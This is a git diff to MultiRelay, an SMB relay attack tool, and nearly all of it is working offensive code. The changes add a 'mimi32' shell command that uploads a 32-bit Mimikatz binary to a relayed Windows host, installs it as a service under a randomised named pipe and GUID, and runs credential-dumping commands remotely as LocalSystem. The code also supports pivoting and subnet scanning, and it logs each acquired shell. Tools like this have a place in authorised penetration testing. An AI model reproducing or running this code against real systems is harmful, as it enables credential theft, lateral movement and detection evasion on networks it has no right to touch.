diff --git a/tools/MultiRelay.py b/tools/MultiRelay.py index 3c838c1..2608426 100755 --- a/tools/MultiRelay.py +++ b/tools/MultiRelay.py @@ -45,9 +45,10 @@ from socket import * __version__ = "2.0" -MimikatzFilename = "./MultiRelay/bin/mimikatz.exe" -RunAsFileName = "./MultiRelay/bin/Runas.exe" -SysSVCFileName = "./MultiRelay/bin/Syssvc.exe" +MimikatzFilename = "./MultiRelay/bin/mimikatz.exe" +Mimikatzx86Filename = "./MultiRelay/bin/mimikatz_x86.exe" +RunAsFileName = "./MultiRelay/bin/Runas.exe" +SysSVCFileName = "./MultiRelay/bin/Syssvc.exe" def UserCallBack(op, value, dmy, parser): @@ -130,7 +131,8 @@ def ShowHelp(): print color('runas Command',8,1)+' -> Run a command as the currently logged in user. (eg: runas whoami)' print color('scan /24',8,1)+' -> Scan (Using SMB) this /24 or /16 to find hosts to pivot to' print color('pivot IP address',8,1)+' -> Connect to another host (eg: pivot 10.0.0.12)' - print color('mimi command',8,1)+' -> Run a remote Mimikatz command (eg: mimi coffee)' + print color('mimi command',8,1)+' -> Run a remote Mimikatz 64 bits command (eg: mimi coffee)' + print color('mimi32 command',8,1)+' -> Run a remote Mimikatz 32 bits command (eg: mimi coffee)' print color('lcmd command',8,1)+' -> Run a local command and display the result in MultiRelay shell (eg: lcmd ifconfig)' print color('help',8,1)+' -> Print this message.' print color('exit',8,1)+' -> Exit this shell and return in relay mode.' @@ -574,6 +576,7 @@ def RunShellCmd(data, s, clientIP, Target, Username, Domain): else: print "[+] Authenticated.\n[+] Dropping into Responder's interactive shell, type \"exit\" to terminate\n" ShowHelp() + Logs.info("Client:"+clientIP+", "+Domain+"\\"+Username+" --> Target: "+Target[0]+" -> Shell acquired") print color('Connected to %s as LocalSystem.'%(Target[0]),2,1) while True: @@ -608,6 +611,7 @@ def RunShellCmd(data, s, clientIP, Target, Username, Domain): RunAs = re.findall('^runas (.*)$', Cmd[0]) LCmd = re.findall('^lcmd (.*)$', Cmd[0]) Mimi = re.findall('^mimi (.*)$', Cmd[0]) + Mimi32 = re.findall('^mimi32 (.*)$', Cmd[0]) Scan = re.findall('^scan (.*)$', Cmd[0]) Pivot = re.findall('^pivot (.*)$', Cmd[0]) Help = re.findall('^help', Cmd[0]) @@ -684,6 +688,18 @@ def RunShellCmd(data, s, clientIP, Target, Username, Domain): print MimikatzFilename+" does not exist, please specify a valid file." del Cmd[:] + if Mimi32: + if os.path.isfile(Mimikatzx86Filename): + FileSize, FileContent = UploadContent(Mimikatzx86Filename) + FileName = os.path.basename(Mimikatzx86Filename) + data = WriteFile(data, s, FileName, FileSize, FileContent, Target[0]) + Exec = Mimi32[0] + data = RunMimiCmd(data, s, clientIP, Username, Domain, Exec, Logs, Target[0],FileName) + del Cmd[:] + else: + print Mimikatzx86Filename+" does not exist, please specify a valid file." + del Cmd[:] + if Pivot: if Pivot[0] == Target[0]: print "[Pivot Verification Failed]: You're already on this host. No need to pivot." diff --git a/tools/MultiRelay/RelayMultiCore.py b/tools/MultiRelay/RelayMultiCore.py index f4332b8..71c6f68 100644 --- a/tools/MultiRelay/RelayMultiCore.py +++ b/tools/MultiRelay/RelayMultiCore.py @@ -19,9 +19,11 @@ import sys import random import time import os +import binascii import re import datetime import threading +import uuid from RelayMultiPackets import * from odict import OrderedDict from base64 import b64decode, b64encode @@ -371,6 +373,16 @@ def GenerateServiceName(): def GenerateServiceID(): return''.join([random.choice('abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ') for i in range(16)]) +def GenerateNamedPipeName(): + return''.join([random.choice('abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789') for i in range(random.randint(3, 30))]) + +def Generateuuid(): + RandomStr = binascii.b2a_hex(os.urandom(16)) + x = uuid.UUID(bytes_le=RandomStr.decode('hex')) + DisplayGUID = uuid.UUID(RandomStr) + DisplayGUIDle = x.bytes + return str(DisplayGUID), str(DisplayGUIDle) + ### #SMBRelay grab ### @@ -542,7 +554,7 @@ def MimiKatzRPC(Command, f, host, data, s): head = SMBHeader(cmd="\x2f",flag1="\x18", flag2="\x05\x28",mid="\x06\x00",pid=data[30:32],uid=data[32:34],tid=data[28:30]) w = SMBDCEMimiKatzRPCCommand(CMD=Command) w.calculate() - x = SMBDCEPacketData(Data=w, Opnum="\x00\x00") + x = SMBDCEPacketData(Data=w, Opnum="\x03\x00") x.calculate() t = SMBDCERPCWriteData(FID=f,Data=x) t.calculate() @@ -1925,10 +1937,12 @@ def InstallMimiKatz(data, s, clientIP, Username, Domain, Command, Logs, Host, Fi global MimiKatzSVCID global MimiKatzSVCName try: + DisplayGUID, DisplayGUIDle = Generateuuid() + NamedPipe = GenerateNamedPipeName() RandomFName = GenerateRandomFileName() WinTmpPath = "%windir%\\Temp\\"+RandomFName+".txt" #Install mimikatz as a service. - Command = "c:\\Windows\\Temp\\"+FileName+" \"rpc::server /protseq:ncacn_np /endpoint:\pipe\wtf /noreg\" service::me exit" + Command = "c:\\Windows\\Temp\\"+FileName+" \"rpc::server /protseq:ncacn_np /endpoint:\pipe\\"+NamedPipe+" /guid:{"+DisplayGUID+"} /noreg\" service::me exit" MimiKatzSVCName = GenerateServiceName() MimiKatzSVCID = GenerateServiceID() @@ -1940,7 +1954,7 @@ def InstallMimiKatz(data, s, clientIP, Username, Domain, Command, Logs, Host, Fi Logs.info('Command executed:') Logs.info(clientIP+","+Username+','+Command) - return data + return data, DisplayGUIDle, NamedPipe except: #Don't loose this connection because something went wrong, it's a good one. Commands might fail, while hashdump works. @@ -1949,13 +1963,14 @@ def InstallMimiKatz(data, s, clientIP, Username, Domain, Command, Logs, Host, Fi def RunMimiCmd(data, s, clientIP, Username, Domain, Command, Logs, Host, FileName): try: - InstallMimiKatz(data, s, clientIP, Username, Domain, Command, Logs, Host, FileName) - data,s = SMBOpenPipe(Host, data, s) + data,guid,namedpipe = InstallMimiKatz(data, s, clientIP, Username, Domain, Command, Logs, Host, FileName) + data,s = SMBOpenPipe(Host, data, s) ##Wait for the pipe to come up.. time.sleep(1) - data,s,f = BindCall("\xe9\x11\xfc\x17\x58\xc2\x8d\x4b\x8d\x07\x2f\x41\x25\x15\x62\x44", "\x01\x00", "\\wtf", data, s) - data,s,f = MimiKatzRPC(Command, f, Host, data, s) - data,s = SMBDCERPCCloseFID(f, data,s) + + data,s,f = BindCall(guid, "\x01\x00", "\\"+namedpipe, data, s) + data,s,f = MimiKatzRPC(Command, f, Host, data, s) + data,s = SMBDCERPCCloseFID(f, data,s) ##### #Kill the SVC now... Never know when the user will leave, so lets not leave anything on the target. data,s = SMBOpenPipe(Host, data, s) @@ -1972,7 +1987,7 @@ def RunMimiCmd(data, s, clientIP, Username, Domain, Command, Logs, Host, FileNam return ModifySMBRetCode(data) except: #Don't loose this connection because something went wrong, it's a good one. Commands might fail, while hashdump works. - print "[+] Something went wrong while calling mimikatz. Did you run install mimi before launching this command?" + print "[+] Something went wrong while calling mimikatz. Maybe it's a 32bits system? Try mimi32." return ModifySMBRetCode(data) ##########Pivot############# diff --git a/tools/MultiRelay/bin/mimikatz.exe b/tools/MultiRelay/bin/mimikatz.exe index 3bdb7f9..2ecbf00 100644 Binary files a/tools/MultiRelay/bin/mimikatz.exe and b/tools/MultiRelay/bin/mimikatz.exe differ diff --git a/tools/MultiRelay/bin/mimikatz_x86.exe b/tools/MultiRelay/bin/mimikatz_x86.exe index 7bdcaf2..7a17145 100644 Binary files a/tools/MultiRelay/bin/mimikatz_x86.exe and b/tools/MultiRelay/bin/mimikatz_x86.exe differ